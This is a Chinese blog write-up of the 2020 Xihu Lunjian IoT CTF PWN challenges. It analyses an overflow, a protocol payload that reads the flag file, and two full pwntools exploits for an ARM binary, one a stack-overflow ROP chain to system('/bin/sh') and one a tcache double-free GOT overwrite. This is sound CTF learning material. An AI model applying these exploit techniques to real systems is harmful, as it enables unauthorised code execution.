2020-西湖论剑-IoT闯关赛PWN方向题目复现

pwn1 boa

环境搭不起来….

漏洞倒是看到了:

这里很明显一个溢出漏洞,追溯回去看到调用这个函数的函数功能大概是身份校验

由于没办法复现环境,也没有办法了。

pwn2

这个题是个简单的协议分析题目,貌似是被非预期了,虽然环境最后还是没有搭起来,但是不妨碍进行逆向分析一下….

看看创建的进程

进入handle_message:

进入send_loop函数之后,最重要的就是执行getAction函数:

最终会执行dump_apmib_conf函数:

该函数会将我们传入的a1参数作为文件名进行读取,放到一个heap中,并将heap返回。非预期解的原因就是compare_filename函数没有过滤flag名:

随后回到getAction函数中会将这个值进行base64加密并打印出来

那么我们想得到flag的方式就是令我们的payload要执行到最后的dump_apmib_conf函数,并将flag路径作为第一个参数。

那么根据我们的分析payload长这个样子:

payload = H4bL1b
payload+= len(小于0x1000)
payload+= p16(0x102) // 为了执行action
payload+= crc(可以通过已有的值进行调试计算)
payload+= “readFile:/flag”

pwn3

查看文件

看wp说是给的2.30的libc,复现的时候使用2.27吧

IDA 分析

程序一进去就有个registered函数,大概是输入用户名和密码

清楚的看到有个栈溢出的漏洞。

modify的时候还有一个栈溢出

这里还有个double free

思路

两个思路,第一个是利用栈溢出:

通过溢出到具有libc的栈位置,要在返回地址写入start的地址,通过菜单功能的show打印出libc基址。得到基址后再执行一次栈溢出进行ROP拿shell。其实在arm下栈溢出利用还是比较简单的,利用pop {r0, pc}指令进行布置参数和返回地址,再用一条sub sp, fp, #4指令即可,在源程序里面就有,进行一个栈迁移。

第二个思路是double free,在tcache机制下很简单了,劫持got表,甚至快于rop。

exp1

from pwn import *
elf = ELF('./pwn3')
libc = ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
context.arch= 'arm'
context.log_level = 'debug'

p = process(['qemu-arm', '-g', '1234', '-L', '/usr/arm-linux-gnueabi', './pwn3'])

def add(my_id, size, content):
    p.sendlineafter('choice > ', '1')
    p.sendlineafter('choice > ', '1')
    p.sendlineafter('index: ', str(my_id))
    p.sendlineafter('size: ', str(size))
    p.sendafter('content: ', content)

def delete(my_id):
    p.sendlineafter('choice > ', '1')
    p.sendlineafter('choice > ', '2')
    p.sendlineafter('index: ', str(my_id))

def info():
    p.sendlineafter('choice > ', '2')

def change(content):
    p.sendlineafter('choice > ', '3')
    p.sendafter('Please Input new password:', content)
    p.sendlineafter('continue', '')

def exit():
    p.sendlineafter("choice >","4")

p.sendlineafter('Please registered account \nInput your username:', '1')
p.sendlineafter('Please input password:', '1')
p.sendlineafter('Please input password again:', '1')
p.sendlineafter('continue ...', '')
change("a"*0x10)
info()
p.recvuntil("a"*0x10)
stack_addr = u32(p.recv(4))
success("stack addr ==> "+hex(stack_addr))
change("a"*0x30)
info()
p.recvuntil("a"*0x8)
libc.address = u32(p.recv(4))-0xff67f2ec+0xff64e000
success("libc addr ==> "+hex(libc.address))
pop_r0_pc = libc.address+0x0011e54c
mov_sp_fp_4 = 0x10f0c
payload = p32(stack_addr+0x14)+p32(pop_r0_pc)+p32(libc.search("/bin/sh").next())+p32(libc.sym['system'])
payload = payload+"a"*0x2c+p32(stack_addr+0x18)+p32(mov_sp_fp_4)
raw_input()
change(payload)
exit()
p.interactive()

exp2

from pwn import *

elf = ELF('./pwn3')
libc = ELF('/usr/arm-linux-gnueabi/lib/libc.so.6')
context.arch= 'arm'
context.log_level = 'debug'

p = process(['qemu-arm','-L', '/usr/arm-linux-gnueabi', './pwn3'])

def add(my_id, size, content):
    p.sendlineafter('choice > ', '1')
    p.sendlineafter('choice > ', '1')
    p.sendlineafter('index: ', str(my_id))
    p.sendlineafter('size: ', str(size))
    p.sendafter('content: ', content)

def delete(my_id):
    p.sendlineafter('choice > ', '1')
    p.sendlineafter('choice > ', '2')
    p.sendlineafter('index: ', str(my_id))

def info():
    p.sendlineafter('choice > ', '2')

def change(content):
    p.sendlineafter('choice > ', '3')
    p.sendafter('Please Input new password:', content)
    p.sendlineafter('continue', '')

def exit():
    p.sendlineafter("choice >","4")

p.sendlineafter('Please registered account \nInput your username:', '1')
p.sendlineafter('Please input password:', '1')
p.sendlineafter('Please input password again:', '1')
p.sendlineafter('continue ...', '')
change("a"*0x10)
info()
p.recvuntil("a"*0x10)
stack_addr = u32(p.recv(4))
success("stack addr ==> "+hex(stack_addr))
change("a"*0x30)
info()
p.recvuntil("a"*0x8)
libc.address = u32(p.recv(4))-0xff67f2ec+0xff64e000
success("libc addr ==> "+hex(libc.address))
pop_r0_pc = libc.address+0x0011e54c
mov_sp_fp_4 = 0x10f0c

add(0,0x40,"a"*0x40)
add(1,0x40,"/bin/sh\x00"+"\n")
add(2,0x40,"a"*0x40)
raw_input()
delete(0) # 0x23150
delete(2) # 0x23150
delete(0)
add(3,0x40,p32(0x0022018)+"\n")
add(5,0x40,"\n")
add(6,0x40,"\n")
success("system ==> "+hex(libc.sym['system']))
add(4,0x40,p32(libc.sym['system'])+"\n")
raw_input()
delete(1)
p.interactive()

 Previous
TSCTF-2020-HelloWin TSCTF-2020-HelloWin
[toc] 保护机制分析 常见的几个保护都开启了。 IDA分析主函数: 在进入菜单题目之前有个格式化字符串: 但是跟常规的好像不太一样,通过测试发现的确是格式化字符串: 后面是一个常规的菜单题目,create、delete、show
Next 
2020 SCTF-EasyWinHeap 2020 SCTF-EasyWinHeap
[toc] 0x01 查看文件 基本上该开启的都开起了 0x02 IDA分析标准的菜单题目: alloc、delete、show、edit、exit五个功能。 这里有个UAF,删除了没清空,但是却不能向linux中的double fr
  TOC